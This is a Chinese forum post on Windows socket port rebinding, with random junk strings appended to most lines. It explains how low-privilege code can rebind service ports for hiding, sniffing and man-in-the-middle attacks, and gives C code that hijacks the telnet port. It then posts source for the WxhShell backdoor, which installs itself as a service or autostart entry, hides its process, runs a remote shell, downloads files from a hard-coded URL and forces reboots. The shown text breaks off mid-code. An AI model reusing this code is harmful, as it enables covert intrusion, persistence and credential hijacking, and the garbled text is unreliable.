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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .7HEI;4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WeIi{<u8R  
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  saddr.sin_family = AF_INET; S" PJ@E}^E  
{>d\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ),@m 3wQ  
V8 G.KA "  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _z@_.%P\  
@=?#nB&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >&JS-j Fg  
$*j)ey>  
  这意味着什么?意味着可以进行如下的攻击: 0KN'\KE  
@Ll^ze&HI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pYj}  
,Qt2?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EdCcnl?R6  
nc?Oj B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eMjW^-RgE5  
 -K4uqUp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'kekJ.wJ;  
Ku8qn \2"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ei @$_w*TH  
RCMO?CBe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gFxaUrZA  
H,)2Ou-Wn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J6J; !~>_  
mSp;(oQ  
  #include "9,+m$nj  
  #include =BBq K=W.d  
  #include }^PdW3O*m,  
  #include    4x$Ts %]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \7q>4[  
  int main() AE4>pzBe  
  { Y~ Nt9L  
  WORD wVersionRequested; @|}=W Q  
  DWORD ret; `7_s@4:  
  WSADATA wsaData; { pu .l4nk  
  BOOL val; '.zr:l  
  SOCKADDR_IN saddr; ZRYHsl{F+  
  SOCKADDR_IN scaddr; 2w:cdAv$  
  int err; mg *kB:p  
  SOCKET s; Cce{aY  
  SOCKET sc; bAL!l\&2  
  int caddsize; SI;SnF'[7  
  HANDLE mt; (L"G,l  
  DWORD tid;   k^\>=JTq=  
  wVersionRequested = MAKEWORD( 2, 2 ); EYU3Pl%  
  err = WSAStartup( wVersionRequested, &wsaData ); xJ)vfo  
  if ( err != 0 ) { ,IG?(CK|  
  printf("error!WSAStartup failed!\n"); -42jeJS  
  return -1; ?N@p~ *x  
  } _pR7sNeV  
  saddr.sin_family = AF_INET; u/4|Akui  
   CfjVx   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~[ x}  
!S[7IBk%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sme!!+Rd  
  saddr.sin_port = htons(23); G 4 C 7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i)+2? <]  
  { +FYhDB~m  
  printf("error!socket failed!\n"); 0V?:5r<  
  return -1; 3,{tGNl|  
  } /yL:_6c-  
  val = TRUE; \:91BQP c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ] 73BJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VTxLBFK;  
  { hG.~[#[&6  
  printf("error!setsockopt failed!\n"); .{LJ  
  return -1; I)F3sS45}  
  } #zc{N"!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %-~T;_.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ){XG%nC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $,B@yiie  
Q2ky|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oS_<;Fj  
  { dtUt2r)6L;  
  ret=GetLastError(); B$%7U><'  
  printf("error!bind failed!\n"); 6"U)d7^  
  return -1; )qx,>PL  
  } w(vda0  
  listen(s,2); GHo=)NTjy  
  while(1) t /CE,DQ  
  { -4'yC_8t  
  caddsize = sizeof(scaddr); _J`q\N K  
  //接受连接请求 pZe:U;bb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); olO&7jh7|  
  if(sc!=INVALID_SOCKET) LVp*YOq7  
  { ]Vgl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7nL3+Pq  
  if(mt==NULL) b<mxf\b  
  { bol#[_~  
  printf("Thread Creat Failed!\n"); ]o\y(!  
  break; x?MSHOia`P  
  } sz%'=J~!V  
  } Mlr}v^"G  
  CloseHandle(mt); -g]g  
  } &GH ,is  
  closesocket(s); R2$;f?;:  
  WSACleanup(); ~#jD/  
  return 0; B?)=d,E  
  }   eb>YvC  
  DWORD WINAPI ClientThread(LPVOID lpParam) e(m#elX  
  { = A;B-_c  
  SOCKET ss = (SOCKET)lpParam; zg83->[  
  SOCKET sc; pg'3j3JW$  
  unsigned char buf[4096]; yp:_W@  
  SOCKADDR_IN saddr; l4s_9  
  long num; tJ,x>s?Y  
  DWORD val; K@z zseQ}=  
  DWORD ret; pC'GKk 8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QcDWVM'v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T5+iX`#M  
  saddr.sin_family = AF_INET; S<V__Sv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C4~`3Mk  
  saddr.sin_port = htons(23); .OC{,f+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DIu rFDQSS  
  { ^?)o,djY&  
  printf("error!socket failed!\n"); ;f7;U=gl,  
  return -1; ) b vZ~t+^  
  } v"&Fj  
  val = 100; +\a`:QET  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y|iJO>_Uu=  
  { Q@-7{3  
  ret = GetLastError(); BI,j/SRK  
  return -1; U,4:yc,)s  
  } v8xNtUxN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6T5nr  
  { EK6fd#J?1  
  ret = GetLastError(); d8? }69:h  
  return -1; 1wpeYn7>W  
  } duKR;5:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jWd 7>1R?  
  { o(I[_oUy\  
  printf("error!socket connect failed!\n"); 007SA6xq  
  closesocket(sc); [fU2$(mT+  
  closesocket(ss); )MKzAAt~  
  return -1; tGs=08`  
  } \=yx~c_$L  
  while(1) N+9`'n^x  
  { 1cyX9X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G,8LF/sR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Jyx6{O j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 / ` 7p'i  
  num = recv(ss,buf,4096,0); ,afh]#  
  if(num>0) uYPdmrPB?l  
  send(sc,buf,num,0); 8h#/b1\  
  else if(num==0) ^< ,Np+  
  break; Jk)^6  
  num = recv(sc,buf,4096,0); 0vs9# <&V  
  if(num>0) Zq--m/  
  send(ss,buf,num,0); Ny>tJ~I  
  else if(num==0) + (cTzY  
  break; %jK-}0Tu  
  } c D+IMlT  
  closesocket(ss); MEQ :[;1  
  closesocket(sc); %:/_O*~)Yg  
  return 0 ; dE+xU(\, w  
  } qF{u+Ms  
8}0W_CU,  
l("Dw8 H  
========================================================== )j40hrR  
7mSVL\\^  
下边附上一个代码,,WXhSHELL ^3Ni  
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========================================================== @' DfNka  
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#include "stdafx.h" fmvX;0O  
Z4Nl{  6  
#include <stdio.h> bGvALz'  
#include <string.h> \d0R&vFHQ  
#include <windows.h> Z~t OR{q  
#include <winsock2.h> "qRE1j@%a  
#include <winsvc.h> xS` %3+|  
#include <urlmon.h> bmEo5f~C!  
{|%N  
#pragma comment (lib, "Ws2_32.lib") N9D<wAK##)  
#pragma comment (lib, "urlmon.lib") A-O@e e  
)k0P' zGb  
#define MAX_USER   100 // 最大客户端连接数 *f:^6h  
#define BUF_SOCK   200 // sock buffer WlF"[mU-  
#define KEY_BUFF   255 // 输入 buffer L{|V13?  
m9UI3fBX  
#define REBOOT     0   // 重启 }!\ZJoa  
#define SHUTDOWN   1   // 关机 8 YAUy\  
Vt:]D?\3  
#define DEF_PORT   5000 // 监听端口 }"<|.[V)  
tt`j!!  
#define REG_LEN     16   // 注册表键长度 _-%A_5lCRE  
#define SVC_LEN     80   // NT服务名长度 A e&t#,)  
[0D( PV(n  
// 从dll定义API 8 kw`=wSH>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Us'm9 J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rS>JzbWa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kScq#<Y&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #J]u3*T n|  
dF*@G/p>V  
// wxhshell配置信息 y88FT#hR|5  
struct WSCFG { ;CD.8f]N  
  int ws_port;         // 监听端口 rLNo7i  
  char ws_passstr[REG_LEN]; // 口令 g*b`V{/Vw  
  int ws_autoins;       // 安装标记, 1=yes 0=no ] 5lp.#EB  
  char ws_regname[REG_LEN]; // 注册表键名 k+2~=#  
  char ws_svcname[REG_LEN]; // 服务名 Z&%#,0>]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;}{%|UAsx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V?v,q'? $  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K*Zf^g m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #CoJ S[t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~#dNGWwG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2H_|Attoi  
*ta ``q  
}; NIeT.!  
cA1"Nek  
// default Wxhshell configuration yc2c{<Ya5  
struct WSCFG wscfg={DEF_PORT, 4;_{*U-  
    "xuhuanlingzhe", 7</&=lly  
    1, etj8M y6=  
    "Wxhshell", ;BqYhi  
    "Wxhshell", \X5{>nNh  
            "WxhShell Service", bort2k  
    "Wrsky Windows CmdShell Service", TmG$Cjf84  
    "Please Input Your Password: ", ua*k{0[  
  1, -:`$8/A|  
  "http://www.wrsky.com/wxhshell.exe", o&1ewE(O]  
  "Wxhshell.exe" V2cLwQ'0  
    }; n'{cU(  
&IM;Yl  
// 消息定义模块 (Bd8@}\u_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mc;Z#"kf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; - *!R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y~An'+yBa  
char *msg_ws_ext="\n\rExit."; 9D:p~_"g  
char *msg_ws_end="\n\rQuit."; }<o.VY&;.  
char *msg_ws_boot="\n\rReboot..."; jpZ, $  
char *msg_ws_poff="\n\rShutdown..."; ;sCf2TD,_  
char *msg_ws_down="\n\rSave to "; 3(G}IWPq<  
Y"~I(,nx!  
char *msg_ws_err="\n\rErr!"; ^ElUU?rX  
char *msg_ws_ok="\n\rOK!"; W F<`CQg[  
4df)?/  
char ExeFile[MAX_PATH]; =vMFCp;mv  
int nUser = 0; V} Y %9V  
HANDLE handles[MAX_USER]; nVV>;e[  
int OsIsNt; ^4_)a0Kcm,  
X>j% y7v  
SERVICE_STATUS       serviceStatus; Oemi}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,qV8(`y_  
+M!f}=H  
// 函数声明 pi:%Bd&F  
int Install(void); r k;k:<c  
int Uninstall(void); ^AK<]r<?L?  
int DownloadFile(char *sURL, SOCKET wsh); ULqnr@/FbK  
int Boot(int flag); 9(DS"fgC  
void HideProc(void); $-m@cObw!.  
int GetOsVer(void); C Fq3  
int Wxhshell(SOCKET wsl); N"/jn_>+j  
void TalkWithClient(void *cs); ~YKe:K+&z  
int CmdShell(SOCKET sock); *Hy-D</w%  
int StartFromService(void); tM]~^U  
int StartWxhshell(LPSTR lpCmdLine); '9%72yG  
R)d1]k8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bs(\e^}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $ 5ZBNGr  
6U6,Wu  
// 数据结构和表定义 eWSA  
SERVICE_TABLE_ENTRY DispatchTable[] = " l vPge  
{ S\K;h/;V  
{wscfg.ws_svcname, NTServiceMain}, }z1aKa9  
{NULL, NULL} .5'M^  
}; yB\}e'J^  
MW8GM}Ho[  
// 自我安装 H=[eO  
int Install(void) #z_lBg. K  
{ T1jAY^^I  
  char svExeFile[MAX_PATH]; #L5H-6nz  
  HKEY key; R!b<Sg  
  strcpy(svExeFile,ExeFile); Yo3my>N&g  
Cqy84!Z<  
// 如果是win9x系统,修改注册表设为自启动 ms8de>A|H  
if(!OsIsNt) { C-lv=FJEk/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;75K:_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QNn\wz_)  
  RegCloseKey(key); /"?yB$s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iTF`sjL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &2[OH}4  
  RegCloseKey(key); }#5V t  
  return 0; hdt;_qa   
    } 9`Bmop  
  } nI.K|hU:P  
} E|Mu1I]e  
else { os0fwv  
HpY-7QTPJ~  
// 如果是NT以上系统,安装为系统服务 3:Q5dr+1_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;rZR9fR  
if (schSCManager!=0) OjTb2[Q  
{ |l)SX\Qf`@  
  SC_HANDLE schService = CreateService _SdO}AiG  
  ( HZC^Q7]hy  
  schSCManager, ~``oKiPg@  
  wscfg.ws_svcname, +U{8Mj  
  wscfg.ws_svcdisp, U8Z(=*Z3  
  SERVICE_ALL_ACCESS, VA + ?xk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P}hHx<L  
  SERVICE_AUTO_START, t=o2:p6&  
  SERVICE_ERROR_NORMAL, &7_xr.c7  
  svExeFile, / r6^]grg  
  NULL, _Y@vO  
  NULL, W5 ^eCYHoi  
  NULL, %^tKt  
  NULL, Hy=';Ccn}  
  NULL 7pf]h$2  
  ); -L&r2RF/  
  if (schService!=0) K}7E;O5m"  
  { 5r)ndW,aN  
  CloseServiceHandle(schService); Kab"r_'  
  CloseServiceHandle(schSCManager); 6D3hX>K4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KSkT6_<  
  strcat(svExeFile,wscfg.ws_svcname); 0N.B =j|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oS3'q\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j<|I@0  
  RegCloseKey(key); -P#PyZEH&I  
  return 0; *YH5kX  
    } art L  
  } L kYcAY$w  
  CloseServiceHandle(schSCManager); Ug(;\*yg  
} A)6xEeyR  
} (%.[MilxPM  
L~9Q7 6w  
return 1; QS(aA*D  
} HZ%2WM  
-Uj)6PzGu  
// 自我卸载 8Ld{Xg  
int Uninstall(void) cW%QKdTQY0  
{ &%eWCe+ +  
  HKEY key; Wk<heF  
Xc8r[dX  
if(!OsIsNt) { b>g&Pf#N!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xE>H:YPm  
  RegDeleteValue(key,wscfg.ws_regname); 6L5j  
  RegCloseKey(key); Q8-;w{%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8i$quHd&x  
  RegDeleteValue(key,wscfg.ws_regname); i/UDda"E  
  RegCloseKey(key); ,',  S  
  return 0; { 3,_i66  
  } u}_,4J  
} ZAATV+Z  
} DzZEn]+zt  
else { ].ZfTrM]  
3XykIj1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =Q+i(UGHi  
if (schSCManager!=0) Hwb+@'o  
{ 1M@OBfB8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WXq=FZ-  
  if (schService!=0) FTu6%~M/  
  { &.W,Hh  
  if(DeleteService(schService)!=0) { Y=G9|7*lO  
  CloseServiceHandle(schService); .M(')$\U  
  CloseServiceHandle(schSCManager);  ;IV  
  return 0; H(|n,c  
  } @6["A'h  
  CloseServiceHandle(schService); *LuR <V  
  } Uk1|y\  
  CloseServiceHandle(schSCManager); v@,n]"  
} }+mIP:T  
} #BPJRNXd  
eR1SPS1+  
return 1; (U_`Q1Jo  
} vbA<=V*P  
Kd='l~rby  
// 从指定url下载文件 JRgrg &#  
int DownloadFile(char *sURL, SOCKET wsh) |)TI&T;k  
{ ~,Y xUn8@  
  HRESULT hr; f%,Vplb  
char seps[]= "/"; h@kq>no  
char *token; WZ@hP'Zc  
char *file; rgo#mTQ_  
char myURL[MAX_PATH]; yP<ngi^s=  
char myFILE[MAX_PATH];  ujin+;1  
z6'Cz}%EP'  
strcpy(myURL,sURL); 3#\++h]QZ  
  token=strtok(myURL,seps); IvZ,|R?  
  while(token!=NULL) 7{z\^R^O  
  { @n|Mr/PAj  
    file=token; -G'U\EXT  
  token=strtok(NULL,seps); UY5wef2sF  
  } I8x,8}o>V  
nu(;yIRP  
GetCurrentDirectory(MAX_PATH,myFILE); Ppton+?(  
strcat(myFILE, "\\"); mV>l`&K=  
strcat(myFILE, file); ()}(3>O-  
  send(wsh,myFILE,strlen(myFILE),0); '@0Z#A  
send(wsh,"...",3,0); isBtJ7\Sc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bm>>-nG;  
  if(hr==S_OK) rtSG- _[i  
return 0; d/&W[jJ  
else a^vTBJXo  
return 1; s!IX3rz  
APgjT' ;P^  
} NZb}n`:  
T0;8koj^_  
// 系统电源模块 %~e+H|  
int Boot(int flag) )k^y<lC2a  
{ 0-P,zkK_v  
  HANDLE hToken;  g)Tr#  
  TOKEN_PRIVILEGES tkp; <(Rbu2_  
n[K LY!  
  if(OsIsNt) { G+~f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .IU\wN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PtTL tiE~  
    tkp.PrivilegeCount = 1; Iwx~kvz\_(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1a gNwFd~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )5[OG7/g  
if(flag==REBOOT) { yR3pK 0Y(?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mOC<a7#  
  return 0; (-D^_*f  
} F$sDmk#  
else { +^<s'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H:#sf][&,L  
  return 0; !kxJ&VmeF  
} P @Jo[J<  
  } /2f  
  else { ^7Rc\   
if(flag==REBOOT) { eKUP,y;[I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rD;R9b"J  
  return 0; C+L_f_6]  
} *t{^P*pc  
else { 5O%?J-Hp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f6,?Yex8B  
  return 0; 29HyeLB@  
} ^O3i)GO  
} p:NIRs  
GY t|[GC  
return 1; )61X,z  
} / q| o  
h'nXV{N0  
// win9x进程隐藏模块 8B`w!@hf  
void HideProc(void) Fhrj$  
{ &J\<"3  
FeT| Fh:L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M <nH  
  if ( hKernel != NULL ) 50CjH"3PZ`  
  { 6b1AIs8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b OolBKV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vlqL  
    FreeLibrary(hKernel); ES)@iM?5  
  } oCxy(q'y  
L.s$|%  
return; /:d6I].  
} `aDVN_h{6  
+QEP:#qZw  
// 获取操作系统版本 Q*N{3G!  
int GetOsVer(void) R $@$  
{ "-Yj~  
  OSVERSIONINFO winfo; yNhRh>l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e-Z ul.m  
  GetVersionEx(&winfo); @R_ON"h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f+lPQIB  
  return 1; iN9G`qF3!Q  
  else gtnu/ Q  
  return 0; (DkfLadB  
} hkB|rhJgm  
`^HK-t4q  
// 客户端句柄模块 ]1 jhy2j  
int Wxhshell(SOCKET wsl) *zwo="WA\t  
{ mndKUI}d  
  SOCKET wsh; CB0p2WS_  
  struct sockaddr_in client; 8shx7"  
  DWORD myID; sDB,+1"Y$  
UP7?9\  
  while(nUser<MAX_USER) 4" pU\g  
{ ,1B` Ve  
  int nSize=sizeof(client); !;UoZ~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W]5Hc|!^^  
  if(wsh==INVALID_SOCKET) return 1; w$Z%RF'p  
e^}@X[*'#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qP$)V3l  
if(handles[nUser]==0) _fccZf(yC.  
  closesocket(wsh); @R Jr ~y0  
else r=/$}l4  
  nUser++; iS< ^MD  
  } F1t+D)KA>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "Hk7s+%  
SZUo RWx  
  return 0; =6 3tp 9  
} z%1& t4$  
0DFVB%JdI  
// 关闭 socket D\| U_>  
void CloseIt(SOCKET wsh) v_Hy:O}R  
{ M0T z('~s  
closesocket(wsh); h'+F'1=  
nUser--; 8#w%qij  
ExitThread(0); '6cXCO-_P  
} ";;!c.!^  
of {K{(M7@  
// 客户端请求句柄 ]_j= { 0%  
void TalkWithClient(void *cs) ^zW=s$\Fo  
{ Vg(M ^2L  
Iw^Q>MrT  
  SOCKET wsh=(SOCKET)cs; k=cDPu -  
  char pwd[SVC_LEN]; pqTaN=R8  
  char cmd[KEY_BUFF]; R9  Y@I  
char chr[1]; ];'7~",Y  
int i,j; z8XWp[K  
{.?pl]Zl6  
  while (nUser < MAX_USER) { yp[,WZt  
.%!^L#g  
if(wscfg.ws_passstr) { TT no  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kE:{#>[Uz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +i#s |kKs\  
  //ZeroMemory(pwd,KEY_BUFF); }>EWF E`  
      i=0; H:P7G_!\  
  while(i<SVC_LEN) { K)  Ums-b  
qi ">AQpp  
  // 设置超时 e<qfM&*  
  fd_set FdRead; Ldj*{t `5  
  struct timeval TimeOut; xS:n  
  FD_ZERO(&FdRead); 0cDP:EzR;  
  FD_SET(wsh,&FdRead); RL )~J4Y  
  TimeOut.tv_sec=8; fv@<  
  TimeOut.tv_usec=0; tyWDa$u,u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7xFZJ#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lwz\" 8  
a;v4R[lQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F+ 7*SImv6  
  pwd=chr[0]; $fB j}\o  
  if(chr[0]==0xd || chr[0]==0xa) { M~n./wyC  
  pwd=0; $wn0oIuW  
  break; [k0/ZfFwV  
  } vvu $8n  
  i++; M ziOpraj  
    } f-634KuP  
&E1m{gB(  
  // 如果是非法用户,关闭 socket Y;'SD{On  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $}'(%\7"  
} Zu<S<??Jf  
-w>ss&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d"n"A?nXh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8.>himL  
CB X}_]9X  
while(1) { eco&!R[G  
kv6nVlI)B  
  ZeroMemory(cmd,KEY_BUFF); K- $,:28  
&YcOmI/MM  
      // 自动支持客户端 telnet标准   N:okt)q:%  
  j=0; cRuN;  
  while(j<KEY_BUFF) { zWv0y8[d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yn"4qC#Z  
  cmd[j]=chr[0]; J .VZD  
  if(chr[0]==0xa || chr[0]==0xd) { O;5lF  
  cmd[j]=0; ?;H}5>^8P  
  break; Pjn{3/*wi  
  } j@w1S[vt  
  j++; :`E p#[Wvo  
    } d S'J@e=#  
z{FFTb^B  
  // 下载文件 2Y<]X7Ch:  
  if(strstr(cmd,"http://")) { FE]UqB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )0]U"Nf ho  
  if(DownloadFile(cmd,wsh)) UG=]8YY!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |2%|=   
  else 0AdxV?6z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fi;H   
  } ^8A [ ^cgq  
  else { !%D';wQ,/  
!nvg:$.&  
    switch(cmd[0]) { 8 ]exsn Z  
  ,Si{]y  
  // 帮助 Z1:%Aq xP  
  case '?': { .Zj`_5C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C\aHr!  
    break; vf$IF|  
  } +iFt)  
  // 安装 | oK9o6m4  
  case 'i': { Aq*?Q/pV  
    if(Install()) HsUh5;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @K+gh#  
    else uo J0wG.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f$6N  
    break; h6OQeZ.  
    } ]@ke_' "  
  // 卸载 i;U*Y *f  
  case 'r': { "M!m-]  
    if(Uninstall()) 6 Bdxdx*zt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Zbm%YaW5  
    else /PeT4hW}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eU@Mv5&6  
    break; tpC^68* F  
    } V=dOeuYd  
  // 显示 wxhshell 所在路径 g2m* Q%  
  case 'p': { 0 p ?AL=  
    char svExeFile[MAX_PATH]; lux g1>  
    strcpy(svExeFile,"\n\r"); pjX=:K|  
      strcat(svExeFile,ExeFile); KYtCN+vsG  
        send(wsh,svExeFile,strlen(svExeFile),0); -4sKB>b  
    break; ux)*B}/xh  
    } M?UUT8,  
  // 重启 'j<u0'K@  
  case 'b': { <n06(9BF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |bnYHP$!  
    if(Boot(REBOOT)) zfv@<'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H@Ot77(*  
    else { fn=A_ i  
    closesocket(wsh); VOZxLyj^9  
    ExitThread(0); w5{l-Z  
    } d+,!p8Q  
    break; ;nP(S`'  
    } 5cinI^x)f  
  // 关机 M TZCI}  
  case 'd': { Z#-N$%^F  
